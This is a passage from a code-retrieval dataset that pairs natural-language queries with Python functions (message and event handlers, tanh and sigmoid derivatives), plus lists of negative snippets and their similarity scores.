Exception:\\n type, value, traceback = sys.exc_info()\\n args = list(value.args)\\n if args:\\n args[0] = '{} {}'.format(args[0], pinfo)\\n else:\\n args = [pinfo]\\n raise type(*args)\",\n \"def lambda_handler(event, context):\\n\\n operations = {\\n 'POST': main,\\n }\\n\\n if event.get('httpMethod', False):\\n operation = event['httpMethod']\\n else:\\n operation = \\\"not available\\\"\\n\\n payload = base64.b64decode(event['body'])\\n try:\\n payload = json.loads(payload)\\n except TypeError:\\n pass\\n\\n if operation in operations:\\n return respond(None, operations[operation](payload))\\n else:\\n return respond(ValueError(f'Unsupported method {operation}'))\",\n \"def endpoint(_wrapped_function=None, lenient=False, **kwargs):\\n\\n if len(kwargs) > 1:\\n raise IndexError(\\\"Cannot have more than one mapping for request body\\\")\\n\\n if len(kwargs) == 1:\\n body_param_name = list(kwargs.keys())[0]\\n body_param_type = list(kwargs.values())[0]\\n\\n if not isinstance(body_param_type, messages._MessageClass):\\n raise TypeError(\\\"Body must be of type pytracts.messages.Message\\\")\\n else:\\n body_param_name = None\\n body_param_type = None\\n\\n def get_wrapper(body_param_name, body_param_type, lenient, f):\\n def wrapper(self, *arguments, **keywords):\\n pj = to_json.JsonEncoder()\\n\\n # If we have a body message provided, this request must be json\\n if body_param_name:\\n request_content_type = self.request.content_type\\n\\n if request_content_type is not None:\\n request_content_type = request_content_type.lower().split(\\\";\\\")[0]\\n\\n if request_content_type != \\\"application/json\\\" and not lenient:\\n raise exceptions.HTTPUnsupportedMediaType(\\\"Content type must be 'application/json'\\\")\\n\\n try:\\n m = pj.decode_message(body_param_type, self.request.body)\\n keywords[body_param_name] = m\\n\\n except (ValueError, messages.Error) as error:\\n raise exceptions.HTTPBadRequest(error.message or \\\"Request body JSON is invalid.\\\")\\n\\n try:\\n # Everything is good. Call the actual handler method\\n result = f(self, *arguments, **keywords)\\n\\n response_code = None\\n headers = {}\\n except Exception as e:\\n result = message_types.error_message_from_exception(e)\\n\\n headers = {}\\n response_code = 500\\n\\n if hasattr(e, 'code'):\\n response_code = e.code\\n\\n # Log only errors\\n if response_code < 200 or response_code > 404:\\n logging.exception(e)\\n\\n if type(result) != tuple:\\n result = (result,)\\n\\n for val in result:\\n if type(val) == int:\\n response_code = val\\n elif type(val) == dict:\\n headers.update(val)\\n elif isinstance(val, messages.Message):\\n response_code = response_code or 200\\n self.response.content_type = 'application/json'\\n self.response.write(pj.encode_message(val))\\n\\n if response_code:\\n self.response.status_int = response_code\\n\\n for k, v in headers.items():\\n self.response.headers[k] = v\\n\\n return wrapper\\n\\n if _wrapped_function is not None and hasattr(_wrapped_function, '__call__'):\\n return get_wrapper(body_param_name=body_param_name, body_param_type=body_param_type, lenient=lenient, f=_wrapped_function)\\n else:\\n return util.curry(get_wrapper, body_param_name, body_param_type, lenient)\",\n \"def __call__(self, *args, **kwargs): # real signature unknown\\n pass\",\n \"def __call__(self, *args: Sequence[Any], **kwargs: Mapping[str, Any]) -> Any:\\n return self._target(*args, **kwargs)\",\n \"def on_bus_message(self, bus, message):\\n pass\",\n \"def message_received_handler(pdu, **kwargs):\\n\\n logging.warning('Message received handler (Override me)')\",\n \"def handler(self, command, args=[]):\\n ###\\n # command parsing and handling logic to be implemented by child\\n ###\\n if not command and not hasattr(self, 'handle_'):\\n return f'Service {str(self.__class__.__name__)}: {self.__doc__ or \\\"\\\"}'\\n methodname = 'handle_{}'.format(command or '')\\n logger.info('method name: {}'.format(methodname))\\n logger.info('args: {}'.format(args))\\n method = self.__getattribute__(methodname)\\n return method(args)\",\n \"def route(self, method, pattern, handler):\\n pass\",\n \"def Handler(self, *events: str, colon: bool = False,\\n ircv3: bool = False) -> Callable:\\n ...\",\n \"def __call__(self, payload: Union[bytes, str]) -> None:\\n self.send(payload)\",\n \"def handle(self, *args, **options):\\n raise NotImplementedError()\",\n \"def call(self, message: Message) -> None:\\n self.fn(message)\",\n \"def application_message(self, bus, msg):\\n\\t\\tmsgtype = msg.structure.get_name()\\n\\t\\tif msgtype == 'partial_result':\\n\\t\\t\\tself.partial_result(msg.structure['hyp'], msg.structure['uttid'])\\n\\t\\telif msgtype == 'result':\\n\\t\\t\\tself.final_result(msg.structure['hyp'], msg.structure['uttid'])\",\n \"def dispatch(self, sender, event, *args, **kwargs):\\n pass # pragma: no cover\",\n \"def process(self, msg):\\n print \\\"HANDLER: received a msg: %s\\\" % msg\",\n \"def on_message(self, channel, method, properties, body):\\n if self.acked:\\n self.acknowledge_message(method.delivery_tag)\\n if self.cb is not None:\\n # call the user specified callback\\n self.cb(channel, method, properties, body)\\n if self.otq:\\n self.stop()\\n else:\\n self.logger.error(\\\"Received message, but no callback routine set\\\")\",\n \"def onMessage(self, payload, isBinary):\",\n \"def run(self):\\n alogger.info(\\\"Recieved message from %s, Message: (%d) %s\\\" % (self.client.getaddress(), self.action_type, self.message))\\n \\n #Try to call th function associated with this message type.\\n #format = \\\"handle_<type>\\\" (eg: handle_100)\\n fn = globals().get(\\\"handle_\\\" + str(self.action_type))\\n if fn and callable(fn):\\n fn(self.message, self.address, self.client)\\n else:\\n alogger.info(\\\"Received unknown message from %d, type: %d\\\" % (self.client.getaddress(), self.action_type))\",\n \"async def handle_message(self, *args, **kwargs):\\n\\n # setup middlewares it not ready\\n if not self.middleware_is_ready:\\n self.setup_middlewares()\\n\\n # get a UserMessage object from args passed\\n message = self.create_user_message(*args, **kwargs)\\n \\n # sends UserMessage to middlewares\\n await self.proccess_message(message)\",\n \"def handle(self, name, callable_obj, args, kwargs):\\n if callable_obj is None:\\n self.msg = kwargs.pop('msg', None)\\n return self\\n with self:\\n callable_obj(*args, **kwargs)\",\n \"def handle_delivery(channel, method, header, body):\\n print(body)\",\n \"def on_action(self, message):\\n with self.handler.wrapee as wrapee:\\n log.debug(\\\"Calling {method} on {name}\\\", method=message['action'], name=self.name)\\n try:\\n func = getattr(wrapee, message['action'])\\n except AttributeError as ex:\\n log.warn(\\\"Trying to call a method {method} that does not exsist!\\\",\\n method=ex.args[0])\\n return\\n res, msg = func(*message['args'])\\n if not res:\\n log.warn(\\\"Error while calling {method}: {msg}\\\", msg=msg,\\n method=message['action'])\\n else:\\n log.debug(\\\"Called method succesfully\\\")\\n for protocol in self.service.protocols:\\n protocol.send_packet()\\n if msg != '':\\n protocol.send_news(msg)\",\n \"def application_message(self, bus, msg):\\n msgtype = msg.structure.get_name()\\n if msgtype == 'partial_result':\\n self.partial_result(msg.structure['hyp'], msg.structure['uttid'])\\n if msgtype == 'result':\\n self.final_result(msg.structure['hyp'], msg.structure['uttid'])\",\n \"def application_message(self, bus, msg):\\n msgtype = msg.structure.get_name()\\n if msgtype == 'partial_result':\\n self.partial_result(msg.structure['hyp'], msg.structure['uttid'])\\n if msgtype == 'result':\\n self.final_result(msg.structure['hyp'], msg.structure['uttid'])\",\n \"def handle_message(self, msg):\\n\\n if msg.error != None:\\n return\\n else:\\n try:\\n method = self.get_service_method(msg.method_name)\\n params = getattr(msg, 'params', None)\\n msg.result = self.execute_method(method, params)\\n except (MethodNotFoundError, InvalidParamsError, ServerError), ex:\\n logging.error(ex)\\n msg.error = ex\\n except Exception, ex:\\n logging.error(ex)\\n ex = InternalError(\\\"Error executing service method\\\")\\n ex.data = ''.join(traceback.format_exception(*sys.exc_info()))\\n msg.error = ex\",\n \"def handle_message(self, message):\",\n \"def __call__(self, args, kwargs):\\n raise NotImplementedError\",\n \"def __call__(self, *args, **kwargs):\\n\\t\\tself.args = args\\n\\t\\tself.kwargs = kwargs\\n\\t\\tself.request = request\\n\\n\\t\\ttry:\\n\\t\\t\\tself.initial(request, *args, **kwargs)\\n\\n\\t\\t\\t# Get the appropriate handler method\\n\\t\\t\\tif request.method.lower() in self.declared_methods:\\n\\t\\t\\t\\thandler = getattr(self, request.method.lower(), self.http_method_not_allowed)\\n\\t\\t\\telse:\\n\\t\\t\\t\\thandler = self.http_method_not_allowed\\n\\n\\t\\t\\tresponse = handler(*args, **kwargs)\\n\\t\\t\\tif response is None:\\n\\t\\t\\t\\tresponse = self.dispatch()\\n\\n\\t\\texcept Exception as e:\\n\\t\\t\\tresponse = self.handle_exception(e)\\n\\n\\t\\treturn self.finalize_response(request, response, *args, **kwargs)\",\n \"def incoming(self, context, message, fake_reply=None):\\r\\n if message.interface != self._id:\\r\\n return False\\r\\n if message.is_reply:\\r\\n return False\\r\\n if message.method not in self._methods:\\r\\n eprint(\\\"{}:{} Unsupported method {}\\\".format(self._host.name, self._name, message.method))\\r\\n return False\\r\\n if self._map[message.method] is None:\\r\\n eprint(\\\"{}:{} Method {} is not implemented\\\".format(self._host.name, self._name, message.method))\\r\\n return False\\r\\n self._incoming_handler(context, message, fake_reply)\",\n \"def on_message(self, unused_channel, basic_deliver, properties, body):\\n LOGGER.debug('Received message # %s from %s: %s',\\n basic_deliver.delivery_tag, properties.app_id, body)\\n\\n if basic_deliver.routing_key in self._handlers:\\n # future that will handle this request,\\n # and a callback invoked to handle it\\n future = self._wrap_handler(\\n self._handlers[basic_deliver.routing_key],\\n body)\\n # functools.partial is used to invoke future by name\\n # without creating a nested func\\n callback = functools.partial(\\n self._on_reply,\\n reply_tag=basic_deliver.delivery_tag,\\n answer_tag=properties.reply_to,\\n correlation_id=properties.correlation_id)\\n\\n # get ioloop and exec it\\n self._ioloop.add_future(future, callback)\\n else:\\n LOGGER.debug('Skipping non-handed message with request to %s' %\\n basic_deliver.routing_key)\",\n \"def __call__(self, *args, **kwargs):\\n return self.method(*args, **kwargs)\",\n \"def __call__(self, *args, **kwargs):\\n return self.forward(*args, **kwargs)\",\n \"def _dispatch(self, method, params):\\n logging.debug('Calling %s%s', method, params)\\n self._rpc_received_event.set()\\n return SimpleJSONRPCServer.SimpleJSONRPCServer._dispatch(\\n self, method, params)\",\n \"def on_message(self, unused_channel, basic_deliver, properties, body):\\n\\n start = time.time()\\n self.invocations += 1\\n\\n logger.info(\\n u\\\"[{}] received message #{} from exchange {}: {}\\\".format(self.bot_id,\\n basic_deliver.delivery_tag, self.exchange,\\n body.decode('utf-8')))\\n\\n self.statsd.incr(self.statsd_prefix + \\\"message.receive\\\")\\n\\n # Ack the message before processing to tell rabbit we got it.\\n # TODO before sending ack we should persist the message in a local queue to avoid the possibility of losing it\\n self.acknowledge_message(basic_deliver.delivery_tag)\\n\\n try:\\n\\n try:\\n json_body = json.loads(body)\\n\\n except ValueError as ve:\\n logger.exception(\\n \\\"[{}] Invalid JSON received from exchange: {} error: {} msg body: []\\\".format(self.bot_id,\\n self.exchange,\\n ve.message, body))\\n raise\\n\\n else:\\n response_messages = self.callback_func(json_body)\\n\\n if response_messages is None:\\n response_messages = []\\n\\n logger.info(\\\"[{}] Sending {} response messages\\\".format(self.bot_id, len(response_messages)))\\n\\n for message in response_messages:\\n self._channel.basic_publish(exchange=message.get('exchange', self.exchange),\\n routing_key=message.get('queue', self.queue_name),\\n body=message.get('body'))\\n logger.info(\\\"[{}] published message {}\\\".format(self.bot_id, message))\\n self.statsd.incr(self.statsd_prefix + \\\"message.publish\\\")\\n\\n except Exception as e:\\n msg = \\\"[{}] Unexpected error - {}, message {}, from exchange {}. sending to error queue {}\\\"\\n self.statsd.incr(self.statsd_prefix + \\\"message.error\\\")\\n logger.exception(msg.format(self.bot_id, e, body, self.exchange, self.error_queue_name))\\n self._channel.basic_publish(exchange='',\\n routing_key=self.error_queue_name,\\n body=body)\\n\\n\\n exec_time_millis = int((time.time() - start) * 1000)\\n self.total_execution_time += exec_time_millis\\n\\n logger.debug(\\\"Consumer {0} message handling time: {1}ms\\\".format(self.consumer_id, exec_time_millis))\\n\\n # if we have processed 100 messages, log out the average execution time at INFO then reset the total\\n if self.invocations % 100 == 0:\\n average_execution_time = self.total_execution_time / 100\\n logger.info(\\\"Consumer {0} Avg message handling time (last 100): {1}ms\\\".format(self.consumer_id, average_execution_time))\\n self.total_execution_time = 0\\n\\n self.statsd.timing(self.statsd_prefix + 'message.process.time', int((time.time() - start) * 1000))\",\n \"def send(self, *args, **kwargs):\\n self._dispatcher.send(*args, **kwargs)\",\n \"def handle_message(self, validated_message: dict):\\n self.logger.debug(f'Sensor received message {validated_message}')\\n if (validated_message['messageType'] !=\\n model.MessageTypes.Control.value):\\n self.logger.debug(\\n 'Sensor ignoring because messageType was not control'\\n )\\n return\\n if validated_message['messageBody']['target'] != self.component_id:\\n self.logger.debug(\\n 'Sensor ignoring because not targeted at me'\\n )\\n return\\n\\n subtype = validated_message['messageSubtype']\\n try:\\n self.logger.debug(f'Dispatching message with subtype {subtype}')\\n self.message_handler_table[subtype](validated_message)\\n except KeyError:\\n self.logger.warning(f'No handler for with subtype {subtype}')\\n pass\",\n \"def receive(self, content, **kwargs):\\n print(content)\\n dispatch(content, self.path[1:])\",\n \"def consume(self, handler) -> None:\\n pass # pragma: no cover\",\n \"def handle(self, message):\\n print(\\\"You received a message:\\\")\\n print(message)\\n # Overwrite this function to do something with the message!\",\n \"def handle_message(self, from_channel, to_channel, message_type, *args):\\n logger.debug(\\\"{} received message: {} -> {} ({})\\\".format(\\n self, from_channel, to_channel, message_type,\\n ))\\n # TODO: Validation\\n if message_type == msgtypes.AI_CHANNEL_ASSIGNED:\\n channel = args[0]\\n self.handle_channel_assigned(channel)\\n elif message_type == msgtypes.AI_CONNECTED:\\n channel = args[0]\\n self.handle_ai_connected(channel)\\n elif message_type == msgtypes.CLIENT_CONNECTED:\\n client_id = args[0]\\n self.handle_client_connected(client_id)\\n elif message_type == msgtypes.CLIENT_DISCONNECTED:\\n client_id = args[0]\\n self.handle_client_disconnected(client_id)\\n elif message_type == msgtypes.DOBJECT_CREATED:\\n dobject_id = args[0]\\n token = args[1]\\n self.handle_dobject_created(dobject_id, token)\\n elif message_type == msgtypes.CREATE_DOBJECT_VIEW:\\n dobject_id = args[0]\\n dclass = args[1]\\n fields = args[2]\\n self.handle_create_dobject_view(dobject_id, dclass, fields)\\n elif message_type == msgtypes.CREATE_AI_VIEW:\\n dobject_id = args[0]\\n dclass = args[1]\\n fields = args[2]\\n self.handle_create_ai_view(dobject_id, dclass, fields)\\n elif message_type == msgtypes.FIELD_UPDATE:\\n source = from_channel\\n dobject_id = args[0]\\n field_id = args[1]\\n values = args[2]\\n self.handle_field_update(source, dobject_id, field_id, values)\\n else:\\n # FIXME: Better to log it and drop it on the floor?\\n raise NotImplementedError\",\n \"def apply_handler(self):\\n tmp = self.event_type\\n if hasattr(self, tmp):\\n getattr(self, tmp)()\\n elif(self.target):\\n self.message = self.message +\\\"\\\\r\\\\n\\\"\\n self.target[0].send(self.message)\",\n \"def __call__(self, *args, **kwargs):\\n return function(args, addtional_info)\",\n \"def main(msg: func.ServiceBusMessage):\\r\\n\\r\\n # Extract the method into a dictionary\\r\\n msg_dict = json.loads(msg.get_body().decode(\\\"utf-8\\\"))\\r\\n\\r\\n logging.info(f\\\"Python ServiceBus queue trigger processed message: {msg_dict}\\\")\\r\\n\\r\\n # Enable a connection with the IoT Hub. The connectionstring for the IoT Hub\\r\\n # is preloaded in the Azure Functions configurations.\\r\\n connectino_string_iothub = os.getenv(\\\"connectionStringIotHub\\\")\\r\\n registry_manager = IoTHubRegistryManager(connectino_string_iothub)\\r\\n\\r\\n # Settings for the method that the IoT Device should run upon receiving the message.\\r\\n callback_method = \\\"start_fan\\\"\\r\\n callback_payload = {}\\r\\n device_method = CloudToDeviceMethod(\\r\\n method_name=callback_method, payload=callback_payload\\r\\n )\\r\\n\\r\\n # Sending the actual cloud-to-device message and invoke a function on the IoT device.\\r\\n device_id = msg_dict[\\\"IoTHub\\\"][\\\"ConnectionDeviceId\\\"]\\r\\n response = registry_manager.invoke_device_method(device_id, device_method)\\r\\n\\r\\n print(\\\"\\\")\\r\\n print(\\\"Device Method called\\\")\\r\\n print(\\\"Device Method name : {0}\\\".format(callback_method))\\r\\n print(\\\"Device Method payload : {0}\\\".format(callback_payload))\\r\\n print(\\\"\\\")\\r\\n print(\\\"Response status : {0}\\\".format(response.status))\\r\\n print(\\\"Response payload : {0}\\\".format(response.payload))\",\n \"def class_message_handler(\\n self,\\n *custom_filters,\\n commands=None,\\n regexp=None,\\n content_types=None,\\n state=None,\\n run_task=None,\\n **kwargs\\n ):\\n\\n def decorator(class_):\\n handler = class_()\\n\\n self.register_message_handler(\\n handler.callback,\\n *custom_filters,\\n commands=commands,\\n regexp=regexp,\\n content_types=content_types,\\n state=state,\\n run_task=run_task,\\n **kwargs\\n )\\n return class_\\n\\n return decorator\",\n \"def _handle_msg(self, msg):\\n data = msg['content']['data']\\n method = data['method']\\n\\n if method == 'update':\\n if 'state' in data:\\n state = data['state']\\n if 'buffer_paths' in data:\\n _put_buffers(state, data['buffer_paths'], msg['buffers'])\\n self.set_state(state)\\n\\n # Handle a state request.\\n elif method == 'request_state':\\n self.send_state()\\n\\n # Handle a custom msg from the front-end.\\n elif method == 'custom':\\n if 'content' in data:\\n self._handle_custom_msg(data['content'], msg['buffers'])\\n\\n # Catch remainder.\\n else:\\n self.log.error('Unknown front-end to back-end widget msg with method \\\"%s\\\"' % method)\",\n \"def handle_message(self, message):\\n\\n try:\\n controller_func = get_controller_func(message.code)\\n\\n if controller_func:\\n response = get_controller_func(message.code)(message.payload)\\n self.send_message(response)\\n else:\\n self.send_bad_request()\\n except Exception as e:\\n Logger.log_error(e)\\n self.send_server_error()\",\n \"def __call__(self, *args):\\n\\n\\t\\tself.send(self.format(*args))\",\n \"def _handle(self, *args, **options):\\n return super()._handle(*args, **options)\",\n \"def handle_message(self, data, channel):\\n pass\",\n \"def incoming(self,message):\\n #Convert to Dictionary, Whatever the input is\\n if isinstance(message, str):\\n message = json.loads(message)\\n elif isinstance(message, bytes):\\n message = self.deserialize(message)\\n\\n op = message.get(\\\"op\\\")\\n if op == \\\"publish\\\":\\n message[\\\"msg\\\"] = self.decompress(message[\\\"topic\\\"],message.get(\\\"msg\\\"))\\n message[\\\"topic\\\"] = self.remap_topic(message[\\\"topic\\\"]) \\n elif op == \\\"advertise\\\":\\n message[\\\"topic\\\"] = self.remap_topic(message[\\\"topic\\\"])\\n elif op == \\\"advertise_service\\\" or op == \\\"service_response\\\":\\n message[\\\"service\\\"] = self.remap_service(message[\\\"service\\\"])\\n\\n\\n message = json.dumps(message)\\n #--------\\n #replace JSON Null values in float32 types with infinity datatype (changed according to the error for LaserScan values)\\n message = message.replace(\\\"null\\\", \\\"Infinity\\\")\\n #--------\\n self._protocol.incoming(message)\",\n \"def received(self, message):\\n raise NotImplementedError()\",\n \"def handle_message(self, sender, message):\\n self.logger.debug('handle_message(%r, %r)', sender, message.handler)\\n\\n message_handler = self.message_handlers.get(message.handler)\\n if message_handler is None:\\n self.logger.warning(\\\"sender=%r, No handler found: '%s'\\\",\\n sender, message.handler)\\n return\\n\\n message_handler(sender, message)\",\n \"def handle_message(self, msg, identity=None):\\n\\n if (self._supervisor and\\n not isinstance(msg, mplane.model.Envelope)):\\n self._exporter.put_nowait([msg, identity])\\n\\n if isinstance(msg, mplane.model.Capability):\\n self._add_capability(msg, identity)\\n elif isinstance(msg, mplane.model.Withdrawal):\\n self._withdraw_capability(msg, identity)\\n elif isinstance(msg, mplane.model.Receipt):\\n self._handle_receipt(msg, identity)\\n elif isinstance(msg, mplane.model.Result):\\n self._handle_result(msg, identity)\\n elif isinstance(msg, mplane.model.Exception):\\n self._handle_exception(msg, identity)\\n elif isinstance(msg, mplane.model.Envelope):\\n if msg.get_token() in self._receipts:\\n self._handle_result(msg, identity)\\n else:\\n for imsg in msg.messages():\\n self.handle_message(imsg, identity)\\n else:\\n raise ValueError(\\\"Internal error: unknown message \\\"+repr(msg))\",\n \"def handle(self, parsed_args):\\n raise NotImplementedError\",\n \"def broadcast(self, message, *args):\\n\\t\\tmethod = getattr(self, message, None)\\n\\t\\tif method:\\n\\t\\t\\tmethod(*args)\",\n \"def __call__(self, *events):\\n if self._func_is_method and self._ob is not None:\\n return self._func(self._ob(), *events)\\n else:\\n return self._func(*events)\",\n \"def _handle_message(self, msg):\\n self.event('message', msg)\",\n \"def process_action(*args, **kwargs):\\n raise NotImplementedError()\",\n \"def get_message_handler(self, taxii_message):\\n raise NotImplementedError()\",\n \"def handle_inbound_sms_call_me(to, from_):\\n handle_call_me(to, from_)\",\n \"def DispatcherOperation(*args, **kwargs): # real signature unknown\\r\\n pass\",\n \"def call(self, body):\\n try:\\n json_data = json.loads(body.decode('utf-8'))\\n except (json.decoder.JSONDecodeError, UnicodeDecodeError) as err:\\n raise Exception(\\\"Unable to deserialize message body (%s), \\\"\\n \\\"rejecting: %r\\\" % (err, body))\\n try:\\n meta_type = json_data.get(\\\"meta\\\", {}).get(\\\"type\\\")\\n event = getattr(eiffellib.events, meta_type)(json_data.get(\\\"meta\\\", {}).get(\\\"version\\\"))\\n except (AttributeError, TypeError) as err:\\n raise Exception(\\\"Malformed message. Rejecting: %r\\\" % json_data)\\n try:\\n event.rebuild(json_data)\\n except Exception as err:\\n raise Exception(\\\"Unable to deserialize message (%s): %r\\\" % (err, json_data))\\n try:\\n ack = self._call_subscribers(meta_type, event)\\n self._call_followers(event)\\n except: # noqa, pylint:disable=bare-except\\n _LOG.error(\\\"Caught exception while processing subscriber \\\"\\n \\\"callbacks, some callbacks may not have been called: %s\\\",\\n traceback.format_exc())\\n ack = False\\n return ack, True # Requeue only if ack is False.\",\n \"def message_handle(ws, message):\\n try:\\n data = json.loads(message)\\n method = data['method']\\n params = data['params']\\n except json.JSONDecodeError:\\n ws.close((1003, 'Message `{}` is invalid'.format(message)))\\n except KeyError:\\n keys = str(list(data.keys()))\\n ws.close((1003, 'Message keys {} are missing or invalid'.format(keys)))\\n else:\\n try:\\n public[method](ws, **params)\\n except KeyError:\\n ws.close((1007, 'Method `{}` not found'.format(method)))\\n except TypeError:\\n ws.close((1007, 'Parameters `{}` are wrong'.format(data['params'])))\\n except InstanceNotFound as instance_id:\\n ws.close((1007, 'Instance `{}` not found'.format(instance_id)))\\n except EnvironmentMalformed as env_id:\\n ws.close((1007, 'Environment `{}` is malformed'.format(env_id)))\\n except EnvironmentNotFound as env_id:\\n ws.close((1007, 'Environment `{}` not found'.format(env_id)))\\n except WrongAction as action:\\n ws.close((1007, 'Action `{}` is wrong'.format(action)))\\n except Exception as err:\\n ws.close((1007, 'Unknonwn error: {}'.format(err)))\",\n \"def process(self, payload, status_code=0):\",\n \"def handleMessage(self, channels, sender, code, datagram):\\n self.stateServer.handle(channels, sender, code, datagram)\\n self.clientAgent.handle(channels, sender, code, datagram)\\n self.databaseServer.handle(channels, sender, code, datagram)\",\n \"def process_message(self, message):\\n\\n if 'id' in message:\\n logger.debug(\\\"Processing message {0}: {1!r}\\\",\\n message['id'], message['method'])\\n else:\\n logger.debug(\\\"Processing method {0!r}\\\", message['method'])\\n\\n response = self.get_response(message.get('id', None),\\n self.registry,\\n message['method'],\\n *message['params'])\\n return response\",\n \"def _handler(self, bot, update, *args, **kwargs):\\n raise NotImplementedError('Not implemented command handler method.')\",\n \"def _wrap_handler(self, handler, body):\\n try:\\n decoded_body = json.loads(body)\\n result = yield handler(decoded_body)\\n return result\\n except Exception as e:\\n return {\\\"error\\\": str(e)}\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.70364314","0.68466866","0.67132837","0.65455157","0.65276337","0.6499453","0.64698917","0.64215446","0.64198","0.63106513","0.6194863","0.61529726","0.6119505","0.6105504","0.6038387","0.60153407","0.59553987","0.59527606","0.5943922","0.5909026","0.5869171","0.5828906","0.5810934","0.5807503","0.5804422","0.5797844","0.57904345","0.5768044","0.5763654","0.5753036","0.57347316","0.5731648","0.5716022","0.57130015","0.57098275","0.5702519","0.5696676","0.5679716","0.5667457","0.5663082","0.56601423","0.5658946","0.56493616","0.5638071","0.56299984","0.5629358","0.56232715","0.56215006","0.5617424","0.5616931","0.5605106","0.56026536","0.558129","0.5579447","0.55758476","0.55758476","0.557457","0.55727476","0.5568554","0.55631965","0.5561762","0.5555639","0.5551503","0.5536939","0.5534029","0.55177796","0.5513441","0.5504813","0.5499024","0.5496265","0.5480917","0.5473514","0.5459651","0.54589856","0.54588926","0.5448028","0.54465497","0.54444003","0.5443055","0.5442033","0.5441916","0.5440357","0.5424719","0.54188925","0.5406375","0.5405021","0.54047894","0.5403812","0.5394326","0.5389415","0.53864914","0.53864586","0.537912","0.5378614","0.5377379","0.53768116","0.5376089","0.5373192","0.5356183","0.53553903"],"string":"[\n \"0.70364314\",\n \"0.68466866\",\n \"0.67132837\",\n \"0.65455157\",\n \"0.65276337\",\n \"0.6499453\",\n \"0.64698917\",\n \"0.64215446\",\n \"0.64198\",\n \"0.63106513\",\n \"0.6194863\",\n \"0.61529726\",\n \"0.6119505\",\n \"0.6105504\",\n \"0.6038387\",\n \"0.60153407\",\n \"0.59553987\",\n \"0.59527606\",\n \"0.5943922\",\n \"0.5909026\",\n \"0.5869171\",\n \"0.5828906\",\n \"0.5810934\",\n \"0.5807503\",\n \"0.5804422\",\n \"0.5797844\",\n \"0.57904345\",\n \"0.5768044\",\n \"0.5763654\",\n \"0.5753036\",\n \"0.57347316\",\n \"0.5731648\",\n \"0.5716022\",\n \"0.57130015\",\n \"0.57098275\",\n \"0.5702519\",\n \"0.5696676\",\n \"0.5679716\",\n \"0.5667457\",\n \"0.5663082\",\n \"0.56601423\",\n \"0.5658946\",\n \"0.56493616\",\n \"0.5638071\",\n \"0.56299984\",\n \"0.5629358\",\n \"0.56232715\",\n \"0.56215006\",\n \"0.5617424\",\n \"0.5616931\",\n \"0.5605106\",\n \"0.56026536\",\n \"0.558129\",\n \"0.5579447\",\n \"0.55758476\",\n \"0.55758476\",\n \"0.557457\",\n \"0.55727476\",\n \"0.5568554\",\n \"0.55631965\",\n \"0.5561762\",\n \"0.5555639\",\n \"0.5551503\",\n \"0.5536939\",\n \"0.5534029\",\n \"0.55177796\",\n \"0.5513441\",\n \"0.5504813\",\n \"0.5499024\",\n \"0.5496265\",\n \"0.5480917\",\n \"0.5473514\",\n \"0.5459651\",\n \"0.54589856\",\n \"0.54588926\",\n \"0.5448028\",\n \"0.54465497\",\n \"0.54444003\",\n \"0.5443055\",\n \"0.5442033\",\n \"0.5441916\",\n \"0.5440357\",\n \"0.5424719\",\n \"0.54188925\",\n \"0.5406375\",\n \"0.5405021\",\n \"0.54047894\",\n \"0.5403812\",\n \"0.5394326\",\n \"0.5389415\",\n \"0.53864914\",\n \"0.53864586\",\n \"0.537912\",\n \"0.5378614\",\n \"0.5377379\",\n \"0.53768116\",\n \"0.5376089\",\n \"0.5373192\",\n \"0.5356183\",\n \"0.53553903\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7705003"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14495,"cells":{"query":{"kind":"string","value":"derivative of tanh(x) = 1. (tanh(x) ^.2)"},"document":{"kind":"string","value":"def d_tanh(x):\n return 1. - np.power(np.tanh(x), 2)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def d_tanh(x):\n\n return 1 - x.tanh().pow(2)","def d_tanh(x:float)->float:\n if not isinstance(x, numbers.Real):\n raise TypeError(\"Input value of invalid type\")\n\n return(1 - math.pow(math.tanh(x), 2))","def tanh(x):\n return (1 - e ** (-2*x))/ (1 + e ** (-2*x))","def tanh(x):\n return (1- power(e,(-2*x))) / (1 + power(e,(-2*x)))","def tanh(x):\n return 0.0","def derived_tanh(x):\n return 1 - tanh(x)","def derived_tanh(x):\n return 1 - tanh(x)","def tanh(x):\r\n ex = np.exp(x)\r\n emx = np.exp(-x)\r\n return (ex - emx) / (ex + emx)","def activ_fn_derivative(z):\n return 1 - np.square(np.tanh(z))","def grad_tanh(self):\r\n return 1 - np.square(self.tanh(self.x))","def tanh(x):\n raise NotImplementedError","def grad_tanh(self):\n grad = 1 - self.tanh(self.x) ** 2\n return grad","def tanh_grad(self, X):\n return 1-self.tanh(X)**2","def tanh(X):\n\tif isinstance(X,np.ndarray):\n\t\treturn (2.0/(1.0+np.exp(-(2*X))))-1\n\telse:\n\t\tX=np.array(X)\n\t\treturn tanh(X)","def sigmoid_derivative(x):\n return x * (1-x)","def tanh(self, X):\n return (np.exp(X)-np.exp(-X))/(np.exp(X)+np.exp(-X))","def sigmoid_derivative(x):\n return x * (1.0 - x)","def sigmoid_derivative(x):\n\n return sigmoid(x) * (1 - sigmoid(x))","def tanh(x):\r\n # see decorator for function body\r","def tanh(self, z, deriv=False):\n return np.tanh(z) if not deriv else 1 - np.square(np.tanh(z))","def derivative_sigmoid(x):\n return x * (1 - x)","def derivative_sigmoid(x):\n return x * (1 - x)","def tanh_grad(z):\n return 1.7159 * 2 / 3.0 * (1 - (np.tanh(2 / 3.0 * z)) ** 2)","def grad_tanh(self):\n return (1-np.tanh(self.x)*np.tanh(self.x))\n raise NotImplementedError(\"tanh gradient not implemented\")","def tanh(x:float)->float:\n if not isinstance(x, numbers.Real):\n raise TypeError(\"Input value of invalid type\")\n\n return(math.tanh(x))","def tan(x):\n return 0.0","def tanh(data):\n return _make.tanh(data)","def _derivative_(self, x, diff_param=None):\n return 2*exp(-x**2)/sqrt(pi)","def tanh(d: D) -> NumDict:\n\n return (2 * sigmoid(d)) - 1","def derivative_activation(z):\n return activation(z) * (1 - activation(z))","def tanh(a):","def sigmoid_derivative(x):\r\n\r\n ### START CODE HERE ### (≈ 2 lines of code)\r\n s = 1.0 /(1 + 1/np.exp(x))\r\n ds = s*(1-s)\r\n ### END CODE HERE ###\r\n\r\n return ds","def sigmoid_derivative(x):\n\n s = sigmoid(x)\n ds = s * (1 - s)\n\n return ds","def 